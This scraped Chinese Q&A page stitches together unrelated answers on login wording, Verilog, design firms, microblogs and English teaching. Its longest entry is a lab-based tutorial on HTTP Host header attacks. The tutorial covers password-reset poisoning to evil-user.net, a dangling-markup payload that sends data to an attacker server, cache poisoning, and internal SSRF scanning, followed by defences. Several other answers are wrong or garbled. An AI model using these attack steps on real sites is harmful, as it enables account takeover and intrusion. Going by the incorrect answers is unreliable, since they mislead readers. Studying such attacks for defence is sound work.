log

阅读 / 问答 / 标签

Log in 与 Sign in 有什么区别吗

“用户未登录或登录已超时!”这句话的翻译中,应该用log in。log in指的是计算机使用账号的登录。sign in指的是签到,例如参加会议或者活动的签到。意思有:签到;注册;登记;签收.

Log in 与 Sign in 有什么区别吗

Log in 一般是指网络上的各种登录sign in 一般指的是现实生活中的各种活动什么,办公室等 报名签到 简而言之 前者是虚拟世界的 后者指的是现实生活的

Log in 与 Sign in 有什么区别吗

Log in和Sign in都是正确的用法。其实区别不是很大。

Log in 与 Sign in 有什么区别吗

字母不一样

sign in 与logo on区别?

sihg in是登记,签到的意思,而log on是登录。比如,If I go to a company as a visitor, I will have to sign in, so they know I"m in the building. 这里就不能用log on了。

Log in 与 Sign in 有什么区别吗

log in是“登陆“, sign in是签到

Log in 与 Sign in 有什么区别吗

Log in 登陆Sign in 注册

Log in 与 Sign in 有什么区别吗?

log in :注册;请求联机;登录;登陆。多指enter a computer:登录计算机。sign in:签到;注册;登记;签收。多指签字报道或是签字接收什么东西。或是登录文件或具体内容,没有进入计算机的意思。log in是计算机专用词组,而sign in一般多用于生活中;sign in的本意并与登录不完全相同,更表示签到和登记(在计算机世界里与QQ空间或者其他应用里的每日签到更类似);在实际语言的运用过程中,sign in的意义可能被延伸到计算机及网络应用的「登录」了。种种迹象表明“Sign in/Sign out”是未来使用的趋势。例句:1、All the participants were required to sign in as they entered the hall to attend themeeting. 出席会议的人在进入大厅前均须签到。2、Employees are requested to sign in on entering the building. 雇员在进入这座大楼前,要求进行登记。3、Employees are requested to sign in on entering the building. 雇员在进入这座大楼前,要求进行登记。4、They would log into their account and take a look at prices and decide what they"dlike to do. 他们会登入自己的账户,查看价格后再决定怎么做。

Sign in, Sign up, Login in, Login on 有什么区别?

、意思不同1、Sign in:签到。2、Sign up:签约。3、Login in:登陆。4、Login on:登录。二、用法不同1、Sign in:sign的基本意思是“标记,符号”,指写在或刻画在物体上的,代表具有固定意义的一种简明的符号或标志,使人一看便知道它所代表的意义。2、Sign up:sign用作名词时有“记号”的意思,转化为动词可作“签名”解,一般指人在文件、信件上签署自己的名字。3、Login in:作动词表示“登记,注册”。4、Login on:指官方对人或事作出的正式书面记录或详细清单。三、侧重点不同1、Sign in:只是证明我来了。2、Sign up:达成一种长期的合作关系。3、Login in:只是证明我在这儿。4、Login on:详细的表明我正在某种状态。

weblogichost头攻击配置

1. HTTP Host头攻击从HTTP / 1.1开始,HTTP Host标头是必需的请求标头。它指定客户端要访问的域名。例如,当用户访问https://example.net/web-security时,其浏览器将组成一个包含Host标头的请求,如下所示:GET /web-security HTTP/1.1Host: example.netHTTP Host头的目的是帮助识别客户端要与之通信的后端组件。如果请求不包含Host头或者格式不正确,则在将传入请求的应用程序时可能会导致问题。从历史上看,这种漏洞并不存在太大问题,因为每个IP地址只会被用于单个域的内容。如今,很大程度上是由于同一个IP上存在多个Web应用程序(不同端口,不同域名解析等),通常可以在同一IP地址访问多个网站和应用程序。这种方法的普及也部分是由于IPv4地址耗尽所致。当可以通过同一IP地址访问多个应用程序时,最常见的原因是以下情况之一:虚拟主机单个Web服务器托管多个网站或应用程序。这可能是具有单个所有者的多个网站,但是也可能是不同所有者的网站托管在同一个共享平台上。它们都与服务器共享一个公共IP地址。通过代理路由流量网站托管在不同的后端服务器上,但是客户端和服务器之间的所有流量都通过代理系统进行路由。这可能是一个简单的负载平衡设备或某种反向代理服务器。在客户通过内容分发网络(CDN)访问网站的情况下,这种设置尤其普遍。在上面两种种情况下,即使网站托管在单独的后端服务器上,它们的所有域名也都解析为中间组件的单个IP地址。这带来了与虚拟主机相同的问题,因为反向代理或负载平衡需要知道每个请求到的哪个后端上。HTTP Host头的作用就在于,指定请求应该发送到那个应用程序的后端服务器上。打个比方,一封信需要送到居住在公寓楼中的某人手中,整个公寓有许多房间,每个房间都可以接受信件,通过指定房间号和收件人(也就是HTTP Host头)来将信封送到指定的人手中。3. 什么是HTTP Host头攻击一些网站以不安全的方式处理Host头的值。如果服务器直接信任Host头,未校验它的合法性,则攻击者可能能够使用此可控变量来注入Host,以操纵服务器端的行为。现成的Web应用程序通常不知道将它们部署在哪个域上,除非在安装过程中在配置文件中手动指定了该域。例如,当他们需要知道当前域以生成电子邮件中包含的绝对URL时,他们可能依赖于Host头中的值:<a href="https://_SERVER["HOST"]/support">联系支持</a>Host头值还可以用于不同网站系统之间的各种交互。由于Host头实际上是用户可控制的,因此这种做法可能导致许多问题。如果未校验或者直接使用Host头,则Host头可以与一系列其他漏洞“组合拳”攻击,比如:缓存投毒特殊业务功能的逻辑漏洞基于路由的SSRF经典服务端漏洞,如SQL注入(当Host被用于SQL语句时)等4. 如何发掘HTTP Host头攻击首先要判断服务端是否检测Host头?检测完了是否还使用Host头的值?通过修改Host的值,如果服务端返回错误信息:30b04453d11b44a56c903cc387f17296.png则说明服务端检测了Host的内容。至于有没有使用Host头的值,有以下几种方法去发掘:修改Host值简单的来说,可以修改HTTP头中的Host值,如果观察到响应包中含有修改后的值,说明存在漏洞。但有时候篡改Host头的值会导致无法访问Web应用程序,从而导致“无效主机头”的错误信息,特别是通过CDN访问目标时会发生这种情况。添加重复的Host头添加重复的Host头,通常两个Host头之中有一个是有效的,可以理解为一个是确保请求正确地发送到目标服务器上;另一个则是传递payload到后端服务器中。GET /example HTTP/1.1Host: vulnerable-website.comHost: attackd-stuff使用绝对路径的URL尽管许多请求通常在请求域上使用相对路径,但是也同时配置了绝对URL的请求。GET https://vulnerable-website.com/ HTTP/1.1Host: attack-stuff有时候也可以尝试不同的协议,如HTTP或HTTPS。添加缩进或换行当一些站点block带有多个Host头的请求时,可以通过添加缩进字符的HTTP头来绕过:GET /example HTTP/1.1 Host: attack-stuffHost: vulnerable-website.com注入覆盖Host头的字段与Host头功能相近的字段,如X-Forwarded-Host、X-Forwarded-For等,这些有时候是默认开启的。GET /example HTTP/1.1Host: vulnerable-website.comX-Forwarded-Host: attack-stuff诸如此类,还有其他的字段:X-HostX-Forwarded-ServerX-HTTP-Host-OverrideForwarded忽略端口仅校验域名当修改、添加重复Host头被拦截的时候,可以尝试了解Web应用程序是怎样解析Host头的。比如,一些解析算法会忽略Host头中的端口值,仅仅校验域名。这时候可以将Host修改为如下形式:GET /example HTTP/1.1Host: vulnerable-website.com:attack-stuff保持域名不变,修改端口值为非端口号的其他值(非数字), 将Host头攻击的payload放在端口值处,同样能进行Host头攻击。5. HTTP Host头攻击漏洞示例5.1 密码重置中毒根据HTTP Host头攻击的攻击特点,它被广泛应用于密码重置中毒:攻击者可以操纵网站在重置密码情况下生成的密码重置链接,使其发送攻击者指定的域下,利用此来窃取重置任意用户密码的令牌。1c2aa7d6f7e77ca7c2bd09feee527087.png一个重设密码(忘记密码)功能的大致流程如下:用户输入其用户名或电子邮件地址,然后提交密码重置请求。该网站检查该用户是否存在,然后生成一个临时的、唯一的、复杂的令牌,该令牌与后端的用户帐户相关联。该网站向用户发送一封电子邮件,其中包含用于重置其密码的链接。重置令牌的参数包含在相应的URL中:https://normal-website.com/reset?token=0a1b2c3d4e5f6g7h8i9j4. 当用户访问此URL时,网站将检查提供的令牌是否有效,并使用它来确定要重置哪个帐户。如果一切都符合,则可以进入用户重置密码步骤。最后,令牌被销毁。以上步骤的安全性依赖于:只有目标用户才能访问其电子邮件,从而可以访问其唯一的令牌。密码重置中毒是窃取此令牌以更改另一个用户密码的一种漏洞。如果网站重置密码的流程完全依赖用户的可控输入(如HTTP Host头),这可能导致密码重置中毒:1. 攻击者获取受害者的用户名或者电子邮件,作为提交重置密码的请求,攻击者会拦截请求并修改HTTP Host头为其指定的域,如evil-user.net2. 受害者会收到一封重置密码的邮件,但由于攻击者修改了Host头,而web程序生成重置链接又完全依赖于Host头,导致生成以下URL:https://evil-user.net/reset?token=0a1b2c3d4e5f6g7h8i9j3. 如果受害者点击了该链接,重置密码的令牌就会发送到攻击者的服务器 evil-user.net 上4. 当攻击者获取到虫子密码的令牌之后,就会进行相应的构造访问真实重置密码的URL进行密码重置。5.1.1 密码重置中毒—基础详细了解了上面的密码重置中毒的流程和原理之后,这里通过HTTP Host头攻击导致的基础的密码重置中毒来演示。首先输入用户名或者用户的电子邮箱来重置指定用户的密码:534a1d062ccc3813b6596fdec0bb475b.png提交之后,会发送一封重置密码的电子邮件到wiener用户的邮箱中(数据包如右图):7c47a2e653a4fcbbaeae1687f914d093.png注意重置密码的链接,可能是受Host头的值的影响?我们来验证一下是否存在HTTP Host头攻击,修改Host头的值为 baidu.com:8901c053cc8c3e6f0383f5f61b14d549.png发现请求是可以被后端服务器接收的,所以是存在HTTP Host头攻击的。这里就输入受害用户carlos进行重置密码,然后抓包将Host头的值改为我们自己的服务器:ec1f439fbc6013f1b4f71011a2885947.png然后在我们自己的服务器上就可以通过访问日志看到被窃取的重置密码Token:c3b81283ee2a440dcf205a1ab344ab32.png然后根据已知链接规律,构造重置密码的链接:https://ac651f551e5317b8800207bd008f000f.web-security-academy.net/forgot-password?temp-forgot-password-token=00YIexUDyNLEJkaBXDoCILWtZAGaxgi71a4ba4a58416c68b3f513ba1239f76d9.png随即进入输入新密码的界面,密码重置中毒成功。5.1.2 密码重置中毒—注入覆盖Host头的字段有时候直接修改Host头、添加重复Host头的值以及混淆Host头都不行:3ca0c53bfef0d9b47a9f788eb484f40f.png可以尝试使用与Host头功能相同的HTTP字段,如X-Forwarded-Host、X-Forwarded-For等,可以进行Fuzz:cbb645bac4d5b28e8b91c39b174a0767.png实际上他能够被 X-Forwarded-Host 字段影响,导致Host头攻击,当同时添加多个字段使请求被拦截时,可以尝试类似排除法、二分法来排查哪个字段有效。对受害用户carlos进行密码重置投毒:53fd95a8a051dd84951094b4e3e79502.png然后构造链接即可:https://acf11f4e1f164378800b165b00bb007d.web-security-academy.net/forgot-password?temp-forgot-password-token=o8gD3Le1K0YQcb2AaASgiI8F2eVI5m3hefb5ab58ec4a711faa6f4dac736e069a.png5.1.3 重置密码中毒—Dangling Markup技术首先简单介绍一下 Dangling Markup技术:Dangling markup技术Dangling markup技术, 是一种无需脚本即可窃取页面内容的技术,它使用图像等资源(结合CSP运行的策略)将数据发送到攻击者控制的远程位置。当反射型XSS不工作或被内容安全策略(CSP)阻止时,它非常有用。其思想是插入一些未完成状态的部分HTML,例如图像标记的src属性,页面上的其余标记关闭该属性,但同时将两者之间的数据(包含窃取页面的内容)发送到远程服务器。例如,我们在反射型XSS注入点上注入这样一个img标签:<img src="https://evilserver/?则注入点和下一个双引号的代码将会发送到攻击者的 https://evilserver 服务器, 其中被发送的代码或者内容可能包含一些敏感信息, 例如CSRF Token等, 配合反射型XSS以完成CSRF的利用。关于 Dangling Markup技术 的实战意义可以参考博主之前的文章:绕过CSP之Dangling markup技术什么时候可以使用 Dangling Markup技术 呢?与我们这篇文章的主题有什么关系呢?我们直接进入主题,当输入需要重置密码的用户名后,该用户的邮箱内会收到如下邮箱:67a4c2bc755ebbb44847d23189d30422.png有一个跳转到登录界面的链接,后面紧接着重置之后的随机密码。此时考虑一下,该链接是否是从Host头取值而来?只要这个值可控,那么就可以利用Host头攻击实施 Dangling Markup攻击,包含住链接后面紧跟着的密码,再结合Host头攻击将请求指定到攻击者服务器上。一个漫天过海的窃取行为就完成了。第一步,寻找Host头攻击点:通过Fuzz,可发现Host头攻击类型为 忽略端口仅校验域名。即服务端在校验Host域的时候,仅校验了域名,忽略了后面的端口号,造成端口值可控(可以是数字或字符):904608f5a5bb3404d1ef62f6c92481b9.png a59bf77cc52ad88158c7fdc06202e54b.png通过在Host头的端口中注入payload,依旧可以实现Host头攻击。第二步,借助可控变量 Host:ip:port 来实施 Dangling Markup技术,从而将后面的密码外带到攻击者服务器上:注意,需要闭合此处的双引号出去,经过尝试,输入单引号时,服务端会自动转为双引号,故这里通过单引号将双引号闭合,然后添加自定的<a href=xxx.attack-domain>标签将密码外带:184e31cb9b0426e30db33340e2e16c91.png原本的正常HTML是这样的:ed4e92688d41cd5e90434d73f12aa811.png通过Dangling Markup技术 在a标签的链接中注入? 符,使得后面的值在双引号闭合之前全部被当做URL参数请求到攻击者服务器上:b90e561f45ba0a4e1df4f0363069921e.png这也是 Dangling Markup技术 的精髓所在,该技术的核心点在于:可控变量后面是否接着需要窃取的关键数据(包括Token、密码等)在攻击者服务器上可以看到被Host头攻击转发上来的请求,里面成功窃取了受害者重置后的密码:d1f9d32d9c0a753a3088e81d382ce9e6.png5.2 Host头攻击+缓存投毒当存在Host头攻击的web站点不存在密码重置的功能的时候,此时该漏洞就显得没有影响,因为不可能驱使用户去抓包修改Host头,辅助攻击者完成一系列的攻击。但是,如果目标站点使用Web缓存,则可以通过缓存投毒给其他用户提供带有病毒的缓存响应。此时的Host头攻击漏洞转变为类似XSS存储型类的漏洞。要构造Web缓存投毒攻击:1. 需要寻找映射到其他用户请求的缓存键;2. 下一步则是缓存此恶意响应;3. 然后,此恶意缓存将提供给尝试访问受影响页面的所有用户。第一步,寻找Host头攻击点:通过对站点的主页添加重复的Host值,可以达到覆盖的效果,并验证存在Host头攻击:b09b4eeacd00d364633ccda68d1de500.png第二步,寻找是否使用了Web缓存?缓存键是什么?从上图中也可以发现,站点使用了Wen缓存功能,并且配合Host头攻击,可以缓存/resources/js/tracking.js资源文件。第三步,在攻击者服务器上创建一个同名的 /resources/js/tracking.js资源文件,内容为:alert(document.cookie);然后通过Host头注入攻击者服务器域名,可以看到在响应中正确地对应了我们的 /resources/js/tracking.js资源文件:8458208389ca34f2736aea5e82afc11e.png发送多次请求,使该请求的响应变为缓存:200f4558b179f6aa8cd8bda18f763b66.png当其他用户请求站点主页时,服务端就会提供该恶意缓存给用户,造成缓存投毒。5.3 Host头攻击绕过访问控制出于安全考虑,通常网站对某些功能的访问限制为内部用户使用。但是通过Host头攻击一定可能上可以绕过这些限制。对于一个站点,从发现Host头攻击到利用,下面来展示一个完整的流程:第一步,访问主页,随意修改Host的值:9649967593356ece9722484a91980ff3.png注意,这里的Host的值不会出现响应包中,但是依然可能存在Host头攻击,因为响应依然成功,说明服务端没有对Host头做验证。第二步,寻找敏感页面,通过 /robots.txt 知道 /admin 为做了访问控制的页面:d3fd91199b6c914ec44a0b7659f56e1d.png可以错误信息提示,/admin 页面只允许本地用户访问。第三步,将Host改为服务端内部地址,从而绕过IP访问控制:c66736849f5149d01997ea9edbf9f1ce.png5.4 Host头攻击+SSRFHost头攻击可能会导致基于路由的SSRF攻击,称为:Host SSRF Attack。经典的SSRF攻击通常基于XXE或可利用的业务逻辑,将用户可控的URL作为HTTP请求发送;而基于路由的SSRF依赖于云部署的体系结构中,包括负载均衡和反向代理,这些中间件将请求分配发送到对应的后端服务器处理,如果服务端未校验Host头转发的请求,则攻击者可能会将请求发送(重定向)到体系中的任意系统。这可能需要知道内部系统的IP地址(私有地址),一般可以通过信息收集或者Fuzz来判断有效的私有IP地址(如枚举192.168.1.1/16)。5.4.1 基础Host头攻击+SSRF比如,普通方式访问不到 /admin 页面(404):774952d6bc5c1f9c84078f832d213f06.png猜测 /admin 存在于内网中,需要内网机器才能访问,但是配合Host头攻击+SSRF可以绕过并访问。第一步,判断Host是否被使用,可用DNSLog外带这里我使用Burp自带的 “Burp Collaborator client” 来实现外带:fe89ddd297619cc7283a92ba551a877e.png说明服务端是根据Host头的域名来请求资源的。第二步,基于Host头的SSRF探测内网主机假如一些敏感的页面(比如管理页面),深处于内网,外网无法访问,但是通过Host头攻击+SSRF可达到绕过访问控制,从而访问内网资产,这里Fuzz内网的IP的C段为192.168.0.0/24,直接利用Intruder枚举:a450a6e1f580ed2201f1e7a20d8c7395.png 8f19202c9c4fc0a81696f084f2066d1d.png得到内网IP为192.168.0.240第三步,访问内网资源构造 /admin 页面,在Host处换位内网IP:4522a7e735f469b8221d677c8b6a1966.png5.4.2 Host头攻击+SSRF—使用绝对路径的URL有时候服务端会校验Host头的值,如果Host被修改,服务端会拒绝一切修改过后的请求:591a625e712178e117db63b2d5e217fc.png普通请求通常在请求域上使用相对路径,但是,服务端也同时可能配置了绝对URL的请求,采用如下形式可绕过对Host的验证:GET http://acab1f4b1f3c7628805c2515009a00c9.web-security-academy.net/ HTTP/1.14030f968be73cbd6bf90f8e61dde4d2a.png接着用 “Burp Collaborator client” 进行外带:6b68718a8514a4b9803f40b8d227d959.png外带成功,说明Host头被服务端使用来向指定域名请求资源,直接SSRF爆破内网:675515a890884884ce25786619575ca2.png访问内网页面:4e7c3841b5c7ee2aaa0e6f3bf75e4bad.png6 HTTP Host头攻击防护最简单的方法是避免在服务器端代码中完全使用Host头,可以只使用相对URL。其他方法包括:6.1 正确配置绝对域名URL当必须使用绝对域名URL时,应在配置文件中手动指定当前域的URL,并引用配置的值,而不是从HTTP的Host头中获取。这种方法可防止密码重置的缓存投毒。6.2 白名单校验Host头的域如果必须使用Host头,需要正确校验它的合法性。这包括允许的域,并使用白名单校验它,以及拒绝或重定向对无法识别的主机请求。这包括但不仅限于单个web应用程序、负载均衡以及反向代理设备上。6.3 不支持主机头覆盖确保不适用与Host头功能相近的字段,如X-Forwarded-Host、X-Forwarded-For等,这些有时候是默认开启的。值得一提的是,不应该将内网使用的Host主机(不出网)与公网的应用程序托管在同一个服务器上,否则攻击者可能会操纵Host头来访问内部域。

Business terminology: Markup 与 Margin 有什么区别?

mark up是加价? margin是佣金?是不是这样理解

how do you think technology will be different 100

how do you think technology will be different 100意思是你怎么认为科技会和100不同 different意思是不同 technology意思是科技

spice和multisim(还有verilog hdl)有什么关系啊?刚接触模电数电,有没有必要学?

SPICE分为好多种的,现在常用的有PSPICE,HSPICE,如果是学模电,可以学习PSPICE来做仿真,后面如果再接触集成电路方面的可以学习HSIPCE。而MULTISIM可以做数字电路,可以仿真,而VERILOG只是一种硬件描述语言,是一种工具,可以在好多软件中运行仿真与综合,也是做数字电路的。

Edit Control 和Edit Box区别?为什么我的VS2010里面没有Edit Box 添加一个Dialog,编辑框不能添加变量?

list box 是列表框

做品牌logo,vi设计有哪些值得推荐的公司

我以10年的专业经验,很公正的整理一些有关广告和设计行业的公司概况:一.设计行业:(以品牌或企业形象为主,包括企业和公司命名,logo设计,vi设计,企业文化塑造)1.朗涛设计(隶属于WPP集团,美国企业,世界顶尖公司)2.Interbrand(隶属于OmnicomGroup集团,以品牌咨询为导向的设计公司)3.杨特(隶属于WPP集团)4.sg(美国,很低调的一家公司,戴尔电脑,凌志汽车等很多大牌出自他们之手)5.东道设计(国内商业设计公司中的典范,中国大型企业,政府机构形象的服务商)6.正邦设计(同样大牌的国内设计企业,全国银行形象中至少一半出自他们之手。)7.早晨设计(很精明的一家设计公司,善于销售自己,对自我的品牌形象做的很好)8.始创国际(2008奥运会标志的设计公司,有专业实力,但市场开拓略欠缺)9.理想创意(中国邮政,移动形象的缔造者,老牌设计公司)10.点线面设计(南方设计公司的低调,TCL,建设银行等不为人知的形象出自他们之手)11.陈幼坚先生(以个人名义命名的公司,个人声望极高,属于大师明星类)12.陈绍华先生(同样以个人名字命名,学院派与商业设计中的另类,邮票设计大师)13.韩家英先生(同上,经典案例并不是很多,但也算国内大师)14.靳与刘设计(合作伙伴设计公司,设计学术性较强,中国银行标志的创造者)15.晏钧设计,王粤飞等等这些公司也算是老牌公司,但经典案例不多。二.广告行业(国外知名公司基本上隶属于wpp和宏盟传媒集团。国内知名的以央视子公司为主)1.盛世长城2.奥美3.李奥贝纳4.达彼思5.精信6.北京电通(日本电通与北京广告有限公司合资)7.阳狮8.麦肯光明(麦肯与光明日报合资)9.博报堂10.智威汤逊等等,以上这些公司被称之为4A公司,是美国广告协会的简称,形成一个专业标准。国内:北京未来广告,广而告之广告,等等。(因广告这个词的比较宽泛,因此一些杂牌军也称自己为广告公司如:印刷,路灯广告制作,喷绘公司都称之为广告公司,但这些公司基本上以制作,安装为赢利点,创意的能力非常弱)。三.还有一些公司以信息咨询,顾问的形式为主,设计只是他们的一个产品。1.RolandBerger(领域广泛,据说白宫对伊拉克的战争都聘请他们作为战略咨询)2.IBM咨询3.麦肯锡4.埃森哲5.波士顿6.通用咨询7.贝恩8.毕博9.怡安翰威特10.美世

北面1996羽绒服美版拉链带logo吗

带。作为当今全球户外运动领导品牌,TheNorthFace北面以经过运动员测试探索、适应各类户外需求的产品帮助世人探索、挑战人类潜能的极限,拉链带LOGO。衣服的开合有两处先把外层五金扣打开,内部是进口的日本ykk拉链,拉链处还带有品牌的挂饰,清晰的印有北面LOGO。

verilog 中 assign语句放入generate块中可以吗,怎么加??

这里很难找到搞fpga的人。。。

verilog中generate 能否写到always块里面

能不能写自己搞一下不就知道了。利用Vivado建立.sv文件。这个是不可以的。

verilog中generate的使用

没什么区别generatecase(i)0: a[i]=1"b1;1:defaultendcaseendgenerate

microblog简称

简称是微博。微博又称博客,微博即微博客(microblog)的简称,是中国一个网络社交平台,具有书写快、传播快、即时交流的特点。微博作为一种文化现象,给人们带来一种全新的生活体验,越来越多的人通过微博获取信息,与人交流,影响的人们交往方式和交往行为。

请问一下英语论文教学法的Methodology有哪几种方法,相对简单一点的是哪种?

Teaching Aims: 1. 2. Get students learn the basical skeleton of methodology. Master the theoretical source of methodology( micro) Method 1. Explanation 2. Discussion ( students to teacher) Contents 一 教学法框架图 Methodology Approach system eg. 3p 3T 听说领先模式 整体阅读 Teaching model technique Mode teaching art form { media (resource) achievement 二 教学法理论源泉 1. 心理学对教学法的影响 1)19、20世纪上、心理学不发达 “翻译法”“直接法”主导。 2)行为主义心理学– “听说法”三个实践 A 桑代克(美)饿猫取食 B 巴甫洛夫 (狗试验) C 斯金纳(美)白鼠实验 3)认识心理学冲击 (1) 格式塔理论完形 (2)布鲁纳认识理论探索发现 (3) 乔姆斯基语言学习理论生成 三 英文粉笔字书法技能训练 1 字母笔顺 2 练习(四线三格) 3 书写方法和技巧 4 举例字母书写教学 四 Homework 1 书写26个大小写字母 2 写一个字母和一个连写教学教案 3 粉笔字过关测试(3周) Aim 掌握呈现技能 Method 讲解 看VCD 讨论 练习 Contents: 一、1含义 2原则 A. 呈现内容简洁、准确 B. 呈现要生动、形象 C. 呈现用语准确、规范 D 利用环境和创造情景结合起来 E 呈现时,教师是讲解员或示范表演者 二 呈现技能类型 1 使用直观教具辅助呈现 A 图片呈现 B 简笔画呈现 C 投影片呈现 D 实物呈现 E 图表呈现 2 使用身体语言呈现 3 问卷呈现 4 用故事呈现 5 用录音材料呈现 6 用歌曲呈现 7 用游戏呈现 三 Homework 根据TEFC教材写一份呈现教案 并微格教学 Teaching Vocabulary Aims: 1 Assumptions about vocabulary and vocabulary building. 2. Methods for presenting new vocabulary items. 3. Ways to consolidate vocabulary. 4. Ways to help students develop vocabulary building strategies. 1.Vocabulary and vocabulary building 2. Resenting new words Here are more ways to present and explain vocabulary: 1) Draw pictures, diagrams and maps to show meanings or connection of meanings; 2) Use real objects to show meanings; 3) Mime or act to show meanings, e.g. brushing teeth, playing Ping- Pong; 4) Use synonyms or antonyms to explain meanings; 5) Use lexical sets, e.g. cook: fry, boil, bake, grill; 6) translate and exemplify, especially with technical words or words with abstract meaning; 7) Use word formation rules and common affixes. 3 Consolidating vocabulary 1) Labelling: Students are given a picture. They are to write the names of objects indicated in the picture. A competitive element can be introduced by making the first student to finish the winner. 2) Spotting the differences: Students are put into pairs. Each member of the pair receives a picture which is slightly different from his partner"s. Students hide the pictures from one another an then, by a process of describing, questioning and answering, discover what the differences are. 3) Describing and drawing 4) Playing a game 5) Using word thermometers 6) Using word series 7) Word bingo 8) Word association 9) Odd man out 10) Synonyms and antonyms 11) Using word categories 12) Using word net-work 4 Developing vocabulary building strategies 1) Review regularly 2) Guess meaning 3) Guess meaning from context 4) Organize vocabulary effectively 5) Use learning vocabulary Conclusion In this unit we started with discussions about vocabulary and vocabulary learning. Many students devote large amounts of time and energy to the learning of vocabulary, but they still complain that their vocabulary size is not large enough or they cannot avoid forgetting. Generally speaking, there are two problems. One problem is that students treat vocabulary items indiscriminately. Considering the large size of English vocabulary, there is no wonder that students complain about their small vocabulary size. Another problem is that many students learn vocabulary in ineffective ways such as rote learning. So it is very important to make students aware that not all words are equally important and that effective ways of vocabulary learning help to reduce forgetting. Although much of the work of vocabulary learning is the responsibility of the students, teachers" guidance and help are invaluable. If teachers present new vocabulary items effectively, it saves a lot of time and energy for consolidation. Besides, teachers" work should also include helping students to develop vocabulary building strategies. Teaching Reading Aims: 1. How do people read? 2. What do people read? 3. What are the skills involved in reading ? 4. What are the principles for teaching reading? 5. What are the common types of activities in teaching reading? 1. How do we read? This section attempts to clarify and illustrate some aspects of the nature of reading. If the students fail to understand the nature of reading, they will adopt inappropriate and ineffective reading strategies; if teachers fail to do so, they will be unable to help the students to develop effective reading skills. 2 What do we read? Think about your experience of learning English. What kind of texts did you read? Short stories? Tales? Essays? Diaries? Plays and poems? Biographies? It seems there is a great variety. But what do we read in reality. There are more. 3 Skills involved in reading comprehension Recognizing the script of a language Understanding the explicitly stated information Understanding conceptual meaning Understanding the communicative value of sentences Deducing the meaning of unfamiliar lexical items Understanding relations between sentences Understanding references Recognizing indicators in discourse Recognizing the organization of the text Making inferences 4 Principles and models for teaching reading Bottom-up model Top-down model 5 Pre-reading activities Predicting Predicting based on the title Predicting based on vocabulary Predicting based on the T/F questions Setting the scene Skimming Scanning Summary on pre-reading activities 6 While-reading activities Information transfer activities SOPHISTICATED INPUT (SI) TRANSITION DEVICE (TD) OUTUT (OP) Summary on transition devices Reading comprehension questions Understanding references Making inferences Summary on while-reading activities 7 Post-reading Activities Discussion questions Reproducing the text Role play Gap-filling Retelling False summary Writing 8 conclusion In this unit, we started with the discussions about how and what people read in real life. We think the teaching of reading in traditional pedagogy does not reflect how and what people read in real life. Most of the traditional reading exercises are actually testing students" reading comprehension. We have emphasized that the teaching of reading should focus on developing students" reading skills and strategies, which can be achieved through pre-, whileand post-reading activities. In Sections5,6, and 7, we have provided a number of types of activities that teachers can do in teaching reading. Of course different texts need different teaching methods. We hope teachers can apply the ideas suggested in the unit to design their own reading tasks creatively.

微博的英文是micro blog还是直接weibo这个拼音呢

微博的英文是:micro blog。weibo是微博的拼音,不是英文翻译。micro blog一、读音:英[u02c8mau026akru0259u028a blu0252ɡ],美[u02c8mau026akrou028a blɑu02d0ɡ]二、短语:1、microblog comment:微博评论。2、MIcroblog Plazza:多用户微博模板。三、例句:1、His micro blog cartoon has more than 260,000 followers and he will publish his first book this week.翻译:他把自己的漫画发在了微博上,已经拥有了26万的粉丝,而本周他的处女作也将出版问世。扩展资料:微博提供了简单、前所未有的方式使用户能够公开实时发表内容,通过裂变式传播,让用户与他人互动并与世界紧密相连。微博自2009年推出,凭借社交和媒体的双重属性以及洞察用户的优势,用户井喷式增长,掀起了一场媒体革命,2010年被称为微博元年。微博是通过“关注”与“被关注”的人际信任节点扩散信息的,兼具社交和媒体的特点,为了区隔用户增强信源信任度以及吸引人气,2011年微博服务商推出实名认证制度,通过身份认证的,用户名后有加“V”标记,由此诞生“大V”,也就是拥有数十万至几千万粉丝的加“V”用户。按粉丝数量和是否加“V”,微博用户可分为“大V”、普通加“V”、草根。参考资料来源:百度百科-新浪微博参考资料来源:人民网-微博“大V”话语权边界及其有效行使

SINA microblog是什么意思

新浪微博

关于blog作文集锦5篇

近年来,博客已经变得非常流行了。下面给大家分享一些关于blog 作文 ,希望对大家有帮助。 关于blog作文1 Nowadays, microblog has been a common communicating tool in our lives and it can be noticed in most places. Microblog provides many conveniences for us while it also brings some bad effects. For one thing, microblog has some advantages in many aspects. First, it provides a convenient and quick way for us to gain more information. Through microblog, we can be easier and quicker to know what happen in our surroundings. Second, it"s a faster way to express our feelings and share our experiences everywhere. Finally, microblog is a good way to expand or widen our thought. We can learn much knowledge in different aspects by microblog and improve ourselves to a large extent. And we can pay attention to different people and learn different experience from them. However, microblog has also caused some bad effects. For example, some students are so addicted to it so that they neglect their studies. And what"s more, some lose their communication ability because they use microblog all the time and everywhere. In my opinion, the advantages of microblog are over its disadvantages. Therefore, we should make good use of its advantages and avoid its disadvantages as much as possible. 关于blog作文2 There is a comment about the popularity of Blog. In recent years, more and more people take advantage of Blog to express themselves. Besides, they also communicate with each other via Blog. Why the Blog becomes more and more popular? There are some reasons. Above all, it is convenient for people to talk about with each other. And, it is free for us to talk about essay so as to improve our comment"s ability. What"s more, we can absorb more form it. Everything has both negative and positive effects. On the negative side, personal message can be known to all people, which is very dangerous. As far as I"m concerned, blog is good stage for people to express and exchange information, which is the basic reason why it"s so popular. However, people should not put personal information on it so as to keep far from information leakage. 关于blog作文3 The modern life is becoming more and more colorful. The Internet is an important part of our life. It makes our life more interesting. Do you know about the most popular Internet tool? It named micro blog . It means a small blog. The differences betwwn them are the micro blog is simpler and more convenient than a common blog. The first micro blog website is Twitter. And it"s also the most famous in the world. Now many famous persons in different professions have micro blogs such as Han Han, Liu Xiang, Lady Gaga, Bill Gates and so on. Chinese micro blog has about five years of history. Though it"s very short,the micro blogs in China are popular with young people, especially we students. We students believe that micro blog is very useful, we can do many things by using it. For example, we can get news and information quickly. And we can write our feelings, our sense of life and some small things everyday on it, just like keeping a simple diary in 140 worlds or fewer. We can enjoy or upload photos, videos and music easily. What"s more, we can find or create a hot topic, and then talk about the topic with others online. How interesting! Lots of my classmates and teachers have micro blogs. I also like using micro blog very much. I often upload my pictures and get some advice from others who can draw well. And it"s also a great way to learn English by using micro blogs. We can try to write three beautiful English sentences and then ask someone to modife them and teach us online. All in all,there are many advantages of using micro blogs, this can only give a brief introduction. But remember not to spend too much time on the Internet. Let"s surf the web healthily and grow up happily! 关于blog作文4 Nowadays, there is a common phenomenon that the micro blog is more and more popular. Many people use micro blog to do a lot of things, including expressing their hearts, exchanging each other"s ideas, delivering information and so on. Micro blog is playing an important role in our society life. As it"s known to all, there are many reasons for micro blog"s popularity. Firstly, 